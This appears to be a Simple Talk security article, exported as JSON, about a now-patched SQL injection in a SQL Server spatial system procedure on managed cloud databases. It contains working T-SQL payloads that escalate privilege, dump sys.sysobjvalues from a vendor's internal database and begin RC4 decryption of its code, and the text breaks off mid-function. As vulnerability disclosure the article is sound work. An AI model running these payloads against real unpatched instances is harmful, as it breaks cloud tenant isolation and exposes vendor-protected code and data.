{"id":107800,"date":"2025-11-05T11:47:02","date_gmt":"2025-11-05T11:47:02","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=107800"},"modified":"2025-12-11T13:55:15","modified_gmt":"2025-12-11T13:55:15","slug":"sql-injection-sql-server%e2%80%90dbaas","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/cloud\/security-and-compliance\/sql-injection-sql-server%e2%80%90dbaas\/","title":{"rendered":"SQL Server DBaaS Vulnerability: Decrypting System Code &amp; Exfiltrating User Data"},"content":{"rendered":"\n<p>Security in cloud environments is both challenging and fascinating, particularly for <a href=\"https:\/\/www.ibm.com\/think\/topics\/dbaas\" target=\"_blank\" rel=\"noreferrer noopener\">Database-as-a-Service (DBaaS)<\/a> offerings like <a href=\"https:\/\/aws.amazon.com\/rds\/\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon RDS<\/a>, <a href=\"https:\/\/cloud.google.com\/sql?hl=en\" target=\"_blank\" rel=\"noreferrer noopener\">GCP CloudSQL<\/a> and <a href=\"https:\/\/www.alibabacloud.com\/help\/en\/rds\/product-overview\/what-is-apsaradb-rds-what-is-apsaradb-rds\" target=\"_blank\" rel=\"noreferrer noopener\">Alibaba ApsaraDB RDS<\/a>. The cloud vendor acts as the system administrator, managing the operating system, patching, and backups, while the user manages their data and databases.<\/p>\n\n\n\n<p>To uphold this managed experience and protect the platform&#8217;s integrity, each vendor implements strict access controls, effectively removing the customer&#8217;s ability to access high-privilege system roles like sysadmin or internal databases. The core idea is simple: <strong>limit what users can do and see<\/strong> to protect the underlying infrastructure and other tenants.<\/p>\n\n\n\n<p>They say:<\/p>\n\n\n\n<p><a href=\"https:\/\/cloud.google.com\/sql\/docs\/sqlserver\/users\">Google <\/a><a href=\"https:\/\/cloud.google.com\/sql\/docs\/sqlserver\/users\" target=\"_blank\" rel=\"noreferrer noopener\">CloudSQL<\/a> &#8211; \u201cThe <strong><em>sysadmin role is not supported<\/em><\/strong>. Therefore, you cannot run system stored procedures that require the sysadmin role.\u201d<\/p>\n\n\n\n<p><a href=\"https:\/\/docs.aws.amazon.com\/AmazonRDS\/latest\/UserGuide\/CHAP_SQLServer.html?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon RDS<\/a> &#8211; \u201cTo deliver a managed service experience, Amazon RDS does not provide shell access to DB instances, and <strong><em>it restricts access<\/em><\/strong> to certain system procedures and tables <strong><em>that require advanced privileges<\/em><\/strong>.\u201d<\/p>\n\n\n\n<p><a href=\"https:\/\/www.alibabacloud.com\/help\/en\/rds\/apsaradb-rds-for-sql-server\/extend-rds-for-sql-server-by-using-clr-integration\">Alibaba ApsaraDB<\/a><a href=\"https:\/\/www.alibabacloud.com\/help\/en\/rds\/apsaradb-rds-for-sql-server\/extend-rds-for-sql-server-by-using-clr-integration\" target=\"_blank\" rel=\"noreferrer noopener\"> RDS<\/a> &#8211; \u201cSQL Server as a Platform as a Service (PaaS) service <strong><em>does not provide instance-level access<\/em><\/strong> permissions.\u201d<\/p>\n\n\n\n<p>This article explores a serious flaw in this security model &#8211; a <a href=\"https:\/\/www.w3schools.com\/sql\/sql_injection.asp\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Injection<\/a> vulnerability in <code>sys.sp_help_spatial_geography_histogram<\/code> that allowed a standard user on managed SQL Server instances (AWS, GCP, Alibaba, Azure) to completely bypass these restrictions, gain <strong>access to privileged user data<\/strong>, and <strong>decrypt the source code<\/strong> of internal management stored procedures.<\/p>\n\n\n\n<p>It was fixed in SQL Server 2022 CU20 (KB5063814), but this article explains how the exploit worked and the process of eliminating it.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-encrypted-modules-for-each-vendor-what-are-they\">Encrypted Modules for Each Vendor: What Are They?<\/h2>\n\n\n\n<p>Each vendor instance includes an internal database (<strong><code>rdsadmin<\/code><\/strong> on AWS, <strong><code>gcloud_cloudsqladmin<\/code><\/strong> on GCP and <strong><code>rdscore<\/code> <\/strong>on Alibaba<strong>)<\/strong>. This is a system database created and managed by the vendor to host internal stored procedures and configuration tables necessary for the managed environment (e.g., handling backups, configuration changes, and maintenance).<\/p>\n\n\n\n<p>There are some specific modules (<a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/stored-procedures\/create-a-stored-procedure?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">stored procedures<\/a>, <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/t-sql\/functions\/functions?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">functions<\/a> or <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-triggers-good-scary\/\" target=\"_blank\" rel=\"noreferrer noopener\">triggers<\/a>) created to help automate <a href=\"https:\/\/www.microsoft.com\/en-gb\/sql-server\/sql-server-downloads\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server<\/a> tasks. Those modules can exist on master, msdb or in an internal database.<\/p>\n\n\n\n<p>Following is the current list (as per today 2025-10-29) of encrypted modules for each vendor:<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"h-aws\">AWS<\/h5>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">DROP TABLE IF EXISTS #tmp1\nCREATE TABLE #tmp1 ([DbName] sysname, [ObjID] INT, ObjName sysname, [IsEncrypted] BIT)\n\nINSERT INTO #tmp1\nEXEC rdsadmin.sys.sp_executesql \n     N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted\n       FROM sys.all_sql_modules\n       WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1'\nINSERT INTO #tmp1\nEXEC msdb.sys.sp_executesql \n     N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted\n       FROM sys.all_sql_modules\n       WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1'\nINSERT INTO #tmp1\nEXEC master.sys.sp_executesql \n     N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted\n       FROM sys.all_sql_modules\n       WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1'\nINSERT INTO #tmp1\nEXEC master.sys.sp_executesql \n     N'SELECT db_name() AS DbName, [object_id] AS ObjId, name AS ObjName, 1\n       FROM sys.server_triggers'\n\nSELECT * FROM #tmp1\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">DbName              ObjID       ObjName                                 IsEncrypted\n------------------- --------------------------------------------------- -----------\nrdsadmin            1509580416  rds_max_customer_db_count               1\nrdsadmin            1733581214  rds_is_db_owner                         1\nrdsadmin            1749581271  rds_read_error_log                      1\nrdsadmin            1765581328  rds_set_configuration                   1\nrdsadmin            1781581385  rds_show_configuration                  1\nrdsadmin            1797581442  rds_set_database_online                 1\nrdsadmin            1813581499  rds_modify_db_name                      1\nmsdb                530816953   rds_sysmail_control                     1\nmsdb                546817010   rds_fn_sysmail_allitems                 1\nmsdb                562817067   rds_fn_sysmail_event_log                1\nmsdb                578817124   rds_fn_sysmail_mailattachments          1\nmsdb                594817181   rds_sysmail_delete_mailitems_sp         1\nmsdb                610817238   rds_fn_server_object_last_sync_time     1\nmsdb                626817295   rds_fn_get_system_database_sync_objects 1\nmsdb                642817352   rds_set_system_database_sync_objects    1\nmsdb                658817409   rds_manage_view_db_permission           1\nmsdb                674817466   rds_xpc_disable                         1\nmsdb                690817523   rds_xpc_enable                          1\nmsdb                706817580   rds_backup_database                     1\nmsdb                722817637   rds_backup_tde_certificate              1\nmsdb                738817694   rds_cancel_task                         1\nmsdb                754817751   rds_dms_tlog_download                   1\nmsdb                770817808   rds_dms_tlog_list_current_lsn           1\nmsdb                786817865   rds_dms_tlog_read                       1\nmsdb                802817922   rds_drop_tde_certificate                1\nmsdb                818817979   rds_finish_restore                      1\nmsdb                834818036   rds_fn_list_tlog_backup_metadata        1\nmsdb                850818093   rds_fn_list_user_tde_certificates       1\nmsdb                866818150   rds_restore_database                    1\nmsdb                882818207   rds_restore_log                         1\nmsdb                898818264   rds_restore_tde_certificate             1\nmsdb                914818321   rds_task_status                         1\nmsdb                930818378   rds_tlog_copy_setup                     1\nmsdb                946818435   rds_tlog_backup_copy_to_S3              1\nmsdb                962818492   rds_fn_task_status                      1\nmsdb                978818549   rds_shrink_tempdbfile                   1\nmsdb                994818606   rds_drop_database                       1\nmsdb                1010818663  rds_cdc_disable_db                      1\nmsdb                1026818720  rds_cdc_enable_db                       1\nmsdb                1042818777  rds_fn_get_audit_file                   1\nmsdb                1058818834  rds_download_from_s3                    1\nmsdb                1074818891  rds_delete_from_filesystem              1\nmsdb                1090818948  rds_gather_file_details                 1\nmsdb                1106819005  rds_fn_list_file_details                1\nmsdb                1122819062  rds_sqlagent_proxy                      1\nmsdb                1138819119  rds_msbi_task                           1\nmsdb                1154819176  rds_upload_to_s3                        1\nmsdb                1170819233  rds_msdtc_transaction_tracing           1\nmsdb                1186819290  rds_drop_ssrs_databases                 1\nmsdb                1202819347  rds_drop_ssis_database                  1\nmsdb                1218819404  rds_failover_time                       1\nmsdb                1250819518  rds_changedbowner_to_rdsa               1\nmsdb                1266819575  rds_fn_internal_get_audit_file          1\nmsdb                1490820373  rds_agent_jobs_trigger                  1\nmaster              919674324   rds_is_db_read_replica                  1\nmaster              935674381   rds_is_db_writable                      1\nmaster              1287675635  rds_hexadecimal                         1\nmaster              1303675692  rds_help_revlogin                       1\nmaster              1367675920  rds_startup_tasks                       1\nmaster              1559676604  rds_alter_database_trigger              1\nmaster              1575676661  rds_create_database_trigger             1\nmaster              1591676718  rds_deny_backups_trigger                1\nmaster              1607676775  rds_drop_database_trigger               1\nmaster              1623676832  rds_drop_login_trigger                  1\nmaster              1655676946  rds_create_login_trigger                1\nmaster              1671677003  rds_audit_trigger                       1\nmaster              1687677060  rds_das_trigger                         1\nmaster              1703677117  rds_credential_trigger                  1\nmaster              1719677174  rds_extended_events_trigger             1\n\n(69 rows affected)<\/pre><\/div>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"h-gcp\">GCP<\/h5>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">DROP TABLE IF EXISTS #tmp1\nCREATE TABLE #tmp1 ([DbName] sysname, [ObjID] INT, ObjName sysname, [IsEncrypted] BIT)\n\nINSERT INTO #tmp1\nEXEC msdb.sys.sp_executesql \n     N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted\n       FROM sys.all_sql_modules\n       WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1'\nINSERT INTO #tmp1\nEXEC master.sys.sp_executesql \n     N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted\n       FROM sys.all_sql_modules\n       WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1'\nINSERT INTO #tmp1\nEXEC master.sys.sp_executesql \n     N'SELECT db_name() AS DbName, [object_id] AS ObjId, name AS ObjName, 1\n       FROM sys.server_triggers'\n\nSELECT * FROM #tmp1\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">DbName   ObjID       ObjName                                         IsEncrypted\n-------- ----------- ----------------------------------------------- -----------\nmsdb     1270295585  gcloudsql_cdc_disable_db                        1\nmsdb     1286295642  gcloudsql_cdc_enable_db                         1\nmsdb     1302295699  gcloudsql_tempdb_shrinkfile                     1\nmsdb     1318295756  fn_gcloudsql_CleanSqlCommandText                1\nmsdb     1334295813  gcloudsql_disable_ddl_event_tr                  1\nmsdb     1350295870  gcloudsql_transrepl_addlogreader_agent          1\nmsdb     1366295927  gcloudsql_transrepl_addmonitoraccess            1\nmsdb     1382295984  gcloudsql_transrepl_addpublication              1\nmsdb     1398296041  gcloudsql_transrepl_addpublication_snapshot     1\nmsdb     1414296098  gcloudsql_transrepl_addpushsubscription_agent   1\nmsdb     1430296155  gcloudsql_transrepl_droppublication             1\nmsdb     1446296212  gcloudsql_transrepl_dropsubscriber              1\nmsdb     1462296269  gcloudsql_transrepl_remove_distribution         1\nmsdb     1478296326  gcloudsql_transrepl_replicationdboption         1\nmsdb     1494296383  gcloudsql_transrepl_setup_distribution          1\nmsdb     1510296440  gcloudsql_transrepl_changedistributor_property  1\nmsdb     1718297181  gcloudsql_drop_tde_user_certificate             1\nmsdb     1734297238  gcloudsql_rotate_tde_certificate                1\nmaster   535672956   TRG_ProtectDropCustRootLogin                    1\nmaster   551673013   gcloudsql_protectRoleMembership                 1\nmaster   567673070   gcloudsql_protectRoleAlteration                 1\nmaster   583673127   TRG_EnforceXEventSessionParams3                 1\nmaster   599673184   TRG_CheckInternalXEventSessionManipulation      1\nmaster   615673241   TRG_ProtectDropDatabaseRootLogin                1\nmaster   631673298   gcloudsql_RoleManagement                        1\nmaster   647673355   TRG_BlockDatabaseEncryptionKeyCreation_v2       1\nmaster   1271675578  TRG_EnforceXEventSessionParams2                 1\nmaster   1287675635  TRG_ProtectRootLogin_CloudDbSqlRoot_2           1\nmaster   1303675692  TRG_ProtectRootLogin_CloudDbSqlAgent_2          1\n\n(29 rows affected)<\/pre><\/div>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"h-alibaba\">Alibaba<\/h5>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">DROP TABLE IF EXISTS #tmp1\nCREATE TABLE #tmp1 ([DbName] sysname, [ObjID] INT, ObjName sysname, [IsEncrypted] BIT)\n\nINSERT INTO #tmp1\nEXEC master.sys.sp_executesql \n     N'SELECT db_name() AS DbName, [object_id] AS ObjId, OBJECT_NAME([object_id]) AS ObjName, OBJECTPROPERTY([object_id], ''IsEncrypted'') AS IsEncrypted\n       FROM sys.all_sql_modules\n       WHERE OBJECTPROPERTY([object_id], ''IsEncrypted'') = 1'\n\nSELECT * FROM #tmp1\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">DbName   ObjID       ObjName                         IsEncrypted\n-------- ----------- ------------------------------- -----------\nmaster   1159675179  sp_rds_cdc_disable_db           1\nmaster   1175675236  sp_rds_cdc_enable_db            1\nmaster   1191675293  sp_rds_change_tracking          1\nmaster   1223675407  sp_rds_set_all_db_privileges    1\nmaster   1239675464  sp_rds_set_db_online            1\nmaster   1255675521  sp_rds_deny_view_any_database   1\nmaster   1271675578  sp_rds_free_proc_cache          1\nmaster   1287675635  sp_rds_read_error_logs          1\nmaster   1399676034  sp_rds_copy_database            1\nmaster   1415676091  sp_rds_update_db_stats          1\nmaster   1559676604  sp_disable_cdc_db_ddl_event     1\nmaster   1575676661  sp_enable_cdc_db_ddl_event      1\nmaster   1591676718  sp_rds_modify_db_name           1\nmaster   1607676775  sp_rds_cycle_errorlog           1\nmaster   1623676832  sp_rds_configure                1\nmaster   1655676946  sp_rds_dbcc_trace               1\nmaster   1879677744  fn_rds_get_wait_category        1\n\n(17 rows affected)<\/pre><\/div>\n\n\n\n<p>These modules are encrypted for several crucial reasons:<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li><strong>Security &amp; IP Protection<\/strong>: Protecting internal implementation logic and proprietary methods.<\/li>\n\n\n\n<li><strong>Prevent Abuse or Tampering<\/strong>: Procedures that wrap <a href=\"https:\/\/www.sciencedirect.com\/topics\/computer-science\/privileged-operation\" target=\"_blank\" rel=\"noreferrer noopener\">privileged operations<\/a> must remain tamper-proof.<\/li>\n\n\n\n<li><strong>Compliance and Platform Integrity<\/strong>: Maintaining strict control over internal tools in a shared managed environment.<\/li>\n<\/ul>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Bypassing Standard Security Measures<\/h2>\n\n\n\n<p>As is well known, there are many tools and scripts that can <a href=\"https:\/\/www.sqlservercentral.com\/blogs\/a-guide-for-decrypting-sql-server-database-objects\" target=\"_blank\" rel=\"noreferrer noopener\">decrypt a module on SQL Server<\/a>. They all require running high-privilege code to read the encrypted data from the SQL Server system table <strong><code>sys.sysobjvalues<\/code><\/strong> (which stores the encrypted code as a binary value called <code>imageval<\/code>).<\/p>\n\n\n\n<p>The most common options to read data from sys.sysobjvalues are blocked:<\/p>\n\n\n<div class=\"block-core-list\">\n<ol class=\"wp-block-list\">\n<li><strong>Dedicated Administrator Connection (DAC):<\/strong> <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/database-engine\/configure-windows\/diagnostic-connection-for-database-administrators?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">DAC<\/a> is often used to read this table, but it is <strong>not available<\/strong> on Amazon RDS for SQL Server.<\/li>\n\n\n\n<li><strong>DBCC PAGE:<\/strong> This <a href=\"https:\/\/techcommunity.microsoft.com\/blog\/sqlserver\/how-to-use-dbcc-page\/383094\" target=\"_blank\" rel=\"noreferrer noopener\">command<\/a>, used by tools like <a href=\"https:\/\/www.red-gate.com\/products\/sql-prompt\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Prompt<\/a>, requires the user to be part of the sysadmin role, which is <strong>not available<\/strong>.<\/li>\n<\/ol>\n<\/div>\n\n\n<p>Since standard high-privilege methods are blocked, we must find an internal loophole. In this article, we\u2019ll adapt a technique described by <a href=\"https:\/\/www.sql.kiwi\/\" target=\"_blank\" rel=\"noreferrer noopener\">Paul White<\/a>, a friend and my favorite MSSQL geek.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SQL Injection: A Privileged Entry Point<\/h2>\n\n\n\n<p><strong>SQL Injection (SQLi)<\/strong> remains one of the most critical and widespread web application vulnerabilities, but its presence in a <em><a href=\"https:\/\/www.red-gate.com\/simple-talk\/blogs\/for-the-love-of-stored-procedures\/\" target=\"_blank\" rel=\"noreferrer noopener\">system stored procedure<\/a><\/em> in a cloud environment presents a far more severe threat. SQLi is fundamentally an attack where untrusted input is treated as executable code.<\/p>\n\n\n\n<p>When this occurs within a highly privileged context, such as a built-in SQL Server system procedure, the attacker inherits the elevated permissions of that procedure, regardless of their own limited database role. <\/p>\n\n\n\n<p>In a typical Amazon RDS setup, a customer&#8217;s admin user has high rights within their <em>own<\/em> databases but is specifically restricted from accessing the core <code>rdsadmin<\/code> database or performing instance-level privileged actions. <\/p>\n\n\n\n<p>The discovery of a SQLi vulnerability in a system procedure breaks this boundary entirely, giving the user an unprecedented level of control.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-vulnerability-bypassing-privilege-boundaries\">The Vulnerability: Bypassing Privilege Boundaries<\/h2>\n\n\n\n<p>The vulnerability resided in the internal MSSQL stored procedure <code>sys.sp_help_spatial_geography_histogram<\/code>. This procedure is intended for analyzing data distribution within <strong>geography data type<\/strong> columns, a specialized feature in SQL Server that deals with spatial data. Because spatial features are niche, this specific procedure likely escaped the rigorous security testing applied to more commonly used system components.<\/p>\n\n\n\n<p>The key to the exploit lies in the dynamic <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/t-sql\/language-reference?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">T-SQL<\/a> query execution logic at the end of the procedure. The procedure is designed to construct and execute a query string, stored in the local variable @query. <\/p>\n\n\n\n<p>Crucially, this dynamic string is built using the user-supplied column name, <strong>@colname<\/strong>, which is <strong><em>not<\/em> properly sanitized or quoted<\/strong> using functions like <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/t-sql\/functions\/quotename-transact-sql?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">QUOTENAME().<\/a><\/p>\n\n\n\n<p>The code for the procedure is the following:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE PROC sys.sp_help_spatial_geography_histogram\n(\n\t@tabname\tSYSNAME,\n\t@colname\tSYSNAME,\n\t@resolution\tINT,\n\t@sample\t\tFLOAT = 100\n)\nAS\nBEGIN\n\t-- ... (Validation code) ...\n\t\n\t-- Run the query\n\tDECLARE @query nvarchar(max) = N'SELECT a.id AS CellId, geography::STGeomFromWKB(a.wkb, 4326) AS Cell, COUNT(*) AS IntersectionCount FROM ' + @quoted_tabname + N' ' + @tablesample +\n\tN' CROSS APPLY sys.GeodeticGridCoverage(' + @colname + N',' + cast(@resolution as nvarchar) + N',' + cast(@resolution as nvarchar) + N') a GROUP BY a.id, a.wkb';\n\texec(@query);\nEND<\/pre><\/div>\n\n\n\n<p>An attacker can terminate the column name context using a single quote, inject arbitrary SQL code, and then use the rest of the dynamic query string as a closing comment (&#8211;). Because the procedure runs with high internal permissions, the injected code is executed with those same elevated rights, allowing it to perform privileged operations.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The Injection Technique<\/h3>\n\n\n\n<p>To explore this, we first demonstrate simple code injection and use a global <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/temporary-tables-in-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">temporary table<\/a> (##Tmp) to retrieve the output, as the original query will fail:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">DROP TABLE IF EXISTS TemporaryTable_sp_help_spatial_geography_histogram\nCREATE TABLE TemporaryTable_sp_help_spatial_geography_histogram (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DROP TABLE IF EXISTS ##Tmp; SELECT @@Version AS ColVersion INTO ##Tmp;--] GEOGRAPHY)\nGO\nEXEC sys.sp_help_spatial_geography_histogram @tabname = 'TemporaryTable_sp_help_spatial_geography_histogram',\n                                             @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DROP TABLE IF EXISTS ##Tmp; SELECT @@Version AS ColVersion INTO ##Tmp;--',\n                                             @resolution = 10,\n                                             @sample = 100;\nGO<\/pre><\/div>\n\n\n\n<p>For instance, if you run this in a AWS RDS user database, it is probably going to fail with the following message:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">Msg 0, Level 11, State 0, Line 103\nA severe error occurred on the current command.  The results, if any, should be discarded.<\/pre><\/div>\n\n\n\n<p>But, don\u2019t worry, although it looks like it failed, the injected code worked just fine:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Read the result from the injected code\nSELECT * FROM ##Tmp\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">ColVersion\n------------\nMicrosoft SQL Server 2022 (RTM-CU20) (KB5059390) - 16.0.4205.1 (X64) \n\tJun 13 2025 13:38:45 \n\tCopyright (C) 2022 Microsoft Corporation\n\tExpress Edition (64-bit) on Windows Server 2016 Datacenter 10.0 &lt;X64&gt; (Build 14393:) (Hypervisor)<\/pre><\/div>\n\n\n\n<p>This demonstrates that the injected code was executed successfully.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Reading sys.sysobjvalues<\/h3>\n\n\n\n<p>To decrypt the stored procedure, we need the [<code>imageval<\/code>] from the database&#8217;s <strong><code>sys.sysobjvalues<\/code><\/strong> table. Since the column name length is limited (128 characters), we use a two-step injection: first, storing the injection code in another temporary table, and second, executing it:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Step 1: Store the full decryption script payload\nDROP TABLE IF EXISTS ##MyDynamicCode\nCREATE TABLE ##MyDynamicCode (Col1 NVARCHAR(MAX))\nINSERT INTO ##MyDynamicCode (Col1) VALUES(N'\nUSE [rdsadmin]\nDROP TABLE IF EXISTS ##tmp_sysobjvalues; \nSELECT OBJECT_NAME(objid) AS objname, * INTO ##tmp_sysobjvalues FROM sys.sysobjvalues;\n')\nGO  \n-- Step 2: Inject the execution of the stored script\nDROP TABLE IF EXISTS TabDecrypt\nCREATE TABLE TabDecrypt (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--] GEOGRAPHY)\nGO\n-- Execute the injection\nEXEC sys.sp_help_spatial_geography_histogram @tabname = 'TabDecrypt', @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--', @resolution = 10, @sample = 100;\nGO\n-- The privileged table data is now accessible\nSELECT objname, objid, imageval FROM ##tmp_sysobjvalues\nWHERE objname = 'rds_set_database_online'\nGO<\/pre><\/div>\n\n\n\n<p><strong>Result:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">objname                  objid       imageval\n------------------------ ----------- ---------\nrds_set_database_online  1797581442  0x3B608F3...<\/pre><\/div>\n\n\n\n<p>Now, with the binary [<code>imageval<\/code>] data, we can proceed with the decryption using Paul White\u2019s technique.<\/p>\n\n\n\n<p><em><strong>Note: <\/strong>Any login with permission to run <code>sys.sp_help_spatial_geography_histogram<\/code> could explore this. No special or elevated permissions are required.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Decryption in Action<\/h2>\n\n\n\n<p>The decryption process relies on the fact that SQL Server uses the <a href=\"https:\/\/www.geeksforgeeks.org\/computer-networks\/rc4-encryption-algorithm\/\" target=\"_blank\" rel=\"noreferrer noopener\">RC4 algorithm<\/a> with a key derived from the database&#8217;s Family <a href=\"https:\/\/betterexplained.com\/articles\/the-quick-guide-to-guids\/\" target=\"_blank\" rel=\"noreferrer noopener\">GUID<\/a>, the object ID, and the sub-object ID of the encrypted module.<\/p>\n\n\n\n<p>For more info about this, check out Paul White&#8217;s (a.k.a. Mr. TraceFlag, Mr. QueryOptimizer, Mr. Internals, Mr. Windbg) <a href=\"https:\/\/www.sql.kiwi\/2016\/05\/the-internals-of-with-encryption\/\" target=\"_blank\" rel=\"noreferrer noopener\">article<\/a><a href=\"https:\/\/www.sql.kiwi\/2016\/05\/the-internals-of-with-encryption\/\">.<\/a><\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"h-step-1-create-the-temporary-table-with-imageval\">Step 1: Create the Temporary Table with [imageval]<\/h4>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Step 1: Store the full decryption script payload\nDROP TABLE IF EXISTS ##MyDynamicCode\nCREATE TABLE ##MyDynamicCode (Col1 NVARCHAR(MAX))\nINSERT INTO ##MyDynamicCode (Col1) VALUES(N'\nUSE [rdsadmin]\nDROP TABLE IF EXISTS ##tmp_sysobjvalues; \nSELECT OBJECT_NAME(objid) AS objname, * INTO ##tmp_sysobjvalues FROM sys.sysobjvalues;\n')\nGO  \n-- Step 2: Inject the execution of the stored script\nDROP TABLE IF EXISTS TabDecrypt\nCREATE TABLE TabDecrypt (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--] GEOGRAPHY)\nGO\n-- Execute the injection\nEXEC sys.sp_help_spatial_geography_histogram @tabname = 'TabDecrypt', @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--', @resolution = 10, @sample = 100;\nGO\n-- The privileged table data is now accessible\nSELECT objname, objid, imageval FROM ##tmp_sysobjvalues\nWHERE objname = 'rds_set_database_online'\nGO<\/pre><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">Step 2: RC4 Functions<\/h4>\n\n\n\n<p>First, we need the T-SQL functions to implement the RC4 algorithm. This should be executed in a database where you have permission to create objects (e.g., your primary database).<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE DATABASE DB1\nGO\nUSE DB1\nGO\n\/*\n** RC4 functions\n** Based on https:\/\/www.sqlteam.com\/forums\/topic.asp?TOPIC_ID=76258\n** by Peter Larsson (SwePeso)\n*\/\nIF OBJECT_ID(N'dbo.fnEncDecRc4', N'FN') IS NOT NULL\n    DROP FUNCTION dbo.fnEncDecRc4;\nGO\nIF OBJECT_ID(N'dbo.fnInitRc4', N'TF') IS NOT NULL\n    DROP FUNCTION dbo.fnInitRc4;\nGO\nCREATE FUNCTION dbo.fnInitRc4\n    (@Pwd varbinary(256))\nRETURNS @Box table\n    (\n        i tinyint PRIMARY KEY, \n        v tinyint NOT NULL\n    )\nWITH 